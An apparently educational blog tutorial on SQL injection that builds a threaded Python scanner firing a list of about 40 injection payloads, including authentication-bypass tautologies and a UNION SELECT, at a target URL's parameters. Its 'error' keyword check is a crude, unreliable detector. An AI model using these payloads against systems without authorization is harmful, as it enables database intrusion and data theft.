SQL Injection Scanner Python: Automate Your Web Security Testing

Introduction

SQL injection is a web security vulnerability, whereby an intruder can affect the way an application interacts with its database via its query building mechanism. This happens as a result of the insufficient filtering of the user’s input which leads to the execution of crafty SQL codes.

sql injection scanner python
SQL Injection

These vulnerabilities can, therefore, expose confidential information, allow for the alterations of data, or allow hacking into the database. Therefore knowing SQL injection is always required to defend the applications system developers and system security experts.

Purpose of the Scanner Tool

The primary purpose of the SQL injection scanner tool is to automate the detection of SQL injection vulnerabilities in web applications. By simulating potential attack scenarios, the tool can identify weak points that could be exploited by attackers.

This allows developers and security teams to take proactive measures in securing their applications, ultimately reducing the risk of data breaches and unauthorized access.

Today, in this article, we will walk you through a full guide to developing a SQL injection scanner tool by utilizing the power of the Python language. Have your chips or snack ready, and let’s get started with some Python coding 🙂!

Types of SQL Injection

SQL injection attacks can be categorized into several types based on how they exploit vulnerabilities.

  • In-band SQL Injection: This is the most common type, where the attacker uses the same channel to both launch the attack and gather results. It can further be divided into two subcategories: Error-based and Union-based SQL injection, where the attacker retrieves data from error messages or combines results from multiple queries.
  • Blind SQL Injection: In this type, the attacker cannot see the output of the query directly. Instead, they infer information based on the application’s behavior. This can be time-consuming but is effective in extracting data without revealing it through standard output.
  • Out-of-band SQL Injection: This method relies on using different channels for data retrieval, such as sending results through DNS or HTTP requests. It is less common but can be used when in-band techniques are not feasible.

SQL Injection Scanner In Python

This s pection resents a practical approach to a simple SQL injection scanner designed in Python. The application employs a set of SQL injection payloads to probe web applications for vulnerability. Now, let us start to look at the code in small parts.

1. Purpose of the Scanner Tool

import requests
import threading

In this section, two main libraries are imported, requests and threading.

The requests library is one of the best at making HTTP requests, and therefore, we will be sending the GET requests to the specified target URL with parameters that have been specified. Through this library, it is easy to work with web-based applications since details involved in making and receiving HTTP requests are hidden from the user.

The threading library library enables concurrent execution of code; this is of great importance to our SQL injection scanner. With threads, several payloads can be tried out in parallel on different parameters, and this tremendously saves time and increases the effectiveness of our scanning.

2. Defining The Payloads

# List of payloads to test for SQL injection
payloads = [
    "'-",
    "' ",
    "'&",
    "'^",
    "'*",
    "' or ''-",
    "' or '' ",
    "' or ''&",
    "' or ''^",
    "' or ''*",
    "\"-",
    "\" ",
    "\"&",
    "\"^",
    "\"*",
    "\" or \"-",
    "\" or \" ",
    "\" or \"&",
    "\" or \"^",
    "\" or \"*",
    "or true--",
    "\" or true--",
    "' or true--",
    "') or ('x')=('x",
    '") or ("x")=("x',
    "or 1=1",
    "or 1=1--",
    "or 1=1#",
    "admin' --",
    "admin' #",
    "admin' or '1'='1",
    "admin' or 1=1",
    "1234' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055",
    "' and 1='1",
    "' and a='a",
    "' or 'x'='x",
    "or 0=0 --",
    "' or '1'='1",
    "' or 1=1--",
    "admin' or '1'='1'--",
    "' or 1=1 LIMIT 1;#"
]

In this section, we create a set of SQL injection payloads which is bound to be appropriate for undertaking various scalability tests on the application. These payloads consist of common SQL injection techniques such as tautologies, union-based injections and comments employed by cybercriminals.

Such include " or 1 = 1 " or "admin' --" payload attempt to manipulate SQL queries to return unauthorized data or bypass authentication. By incorporating diverse payloads, we increase our chances of identifying potential SQL injection flaws in the target application.

3. Testing Payloads

def test_payload(url, param, value, payload):
    try:
        # Construct modified parameters
        modified_params = {**params, param: payload}
        print(f"Trying payload '{payload}' with parameter '{param}'")
        response = requests.get(url, params=modified_params)
        
        # Check for SQL injection vulnerability by looking for anomalies in the response
        if "error" in response.text.lower():  # Example heuristic to check for vulnerabilities
            print(f"[+] SQL Injection vulnerability found on {url} with payload '{payload}'")
    except Exception as e:
        print(f"Error occurred for payload '{payload}': {e}")

The test_payload() function is crucial for testing each payload against the specified URL and its parameters. Inside this function, we first construct modified parameters by substituting the target parameter with the current payload.

This allows us to send a crafted request that could expose vulnerabilities. The function then prints out the payload being tested, providing visibility into the scanning process. We send a GET request to the target URL with the modified parameters and analyze the response for any signs of SQL errors, which can indicate a successful injection.

This heuristic approach checks for the presence of the word “error” in the response text, which is a common indication of an underlying SQL vulnerability. If such an error is detected, the function logs a message indicating that a potential SQL injection vulnerability has been found.

4. Scanning for SQL Injection

def scan_sql_injection(url, params):
    threads = []

    for param, value in params.items():
        for payload in payloads:
            # Create a thread for each payload
            thread = threading.Thread(target=test_payload, args=(url, param, value, payload))
            threads.append(thread)
            thread.start()

    # Wait for all threads to complete
    for thread in threads:
        thread.join()

The scan_sql_injection() function orchestrates the overall scanning process. It takes a URL and a dictionary of parameters to test against. The function iterates over each parameter in the provided dictionary and for every payload, it initiates a new thread that executes the test_payload function.

This concurrent execution allows the scanner to test multiple payloads simultaneously, vastly improving the speed and effectiveness of the scan. By leveraging threading, the tool can perform a comprehensive assessment in a fraction of the time it would take if each payload were tested sequentially.

Once all threads are initiated, the function uses thread.join() to ensure that the main thread waits for all spawned threads to complete their execution before finishing. This synchronization ensures that all tests have been conducted before the function returns, providing a complete overview of potential vulnerabilities.

5. main function

# Example usage
url = 'YOUR_VULNERABLE_URL'  # Replace with your target URL
params = {'q': 'test'}  # Replace with your actual parameters

scan_sql_injection(url, params)

In the final section, we provide an example of how to use the SQL injection scanner. The url variable represents the target URL that we want to test for SQL injection vulnerabilities, while the params dictionary contains the parameters to be tested against.

Full Code

Here below we grabbed the code snippets to make the full source code of the SQL injection scanner!

import requests
import threading

# List of payloads to test for SQL injection
payloads = [
    "'-",
    "' ",
    "'&",
    "'^",
    "'*",
    "' or ''-",
    "' or '' ",
    "' or ''&",
    "' or ''^",
    "' or ''*",
    "\"-",
    "\" ",
    "\"&",
    "\"^",
    "\"*",
    "\" or \"-",
    "\" or \" ",
    "\" or \"&",
    "\" or \"^",
    "\" or \"*",
    "or true--",
    "\" or true--",
    "' or true--",
    "') or ('x')=('x",
    '") or ("x")=("x',
    "or 1=1",
    "or 1=1--",
    "or 1=1#",
    "admin' --",
    "admin' #",
    "admin' or '1'='1",
    "admin' or 1=1",
    "1234' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055",
    "' and 1='1",
    "' and a='a",
    "' or 'x'='x",
    "or 0=0 --",
    "' or '1'='1",
    "' or 1=1--",
    "admin' or '1'='1'--",
    "' or 1=1 LIMIT 1;#"
]

def test_payload(url, param, value, payload):
    try:
        # Construct modified parameters
        modified_params = {**params, param: payload}
        print(f"Trying payload '{payload}' with parameter '{param}'")
        response = requests.get(url, params=modified_params)
        
        # Check for SQL injection vulnerability by looking for anomalies in the response
        if "error" in response.text.lower():  # Example heuristic to check for vulnerabilities
            print(f"[+] SQL Injection vulnerability found on {url} with payload '{payload}'")
    except Exception as e:
        print(f"Error occurred for payload '{payload}': {e}")

def scan_sql_injection(url, params):
    threads = []

    for param, value in params.items():
        for payload in payloads:
            # Create a thread for each payload
            thread = threading.Thread(target=test_payload, args=(url, param, value, payload))
            threads.append(thread)
            thread.start()

    # Wait for all threads to complete
    for thread in threads:
        thread.join()

# Example usage
if __name__ == "__main__":
    url = 'YOUR_VULNERABLE_URL'  # Replace with your target URL
    params = {'q': 'test'}  # Replace with your actual parameters

    scan_sql_injection(url, params)

Conclusion

This simple SQL injection scanner in Python highlights the importance of web application security. By understanding and implementing such tools, developers and security professionals can better protect their applications from malicious attacks.

The ability to identify SQL injection vulnerabilities is crucial for maintaining the integrity and confidentiality of sensitive data, and tools like this scanner play a significant role in proactive security measures.

🧷Related Article: Top 3 Python Best Hacking Libraries for Ethical Hackers


Light
×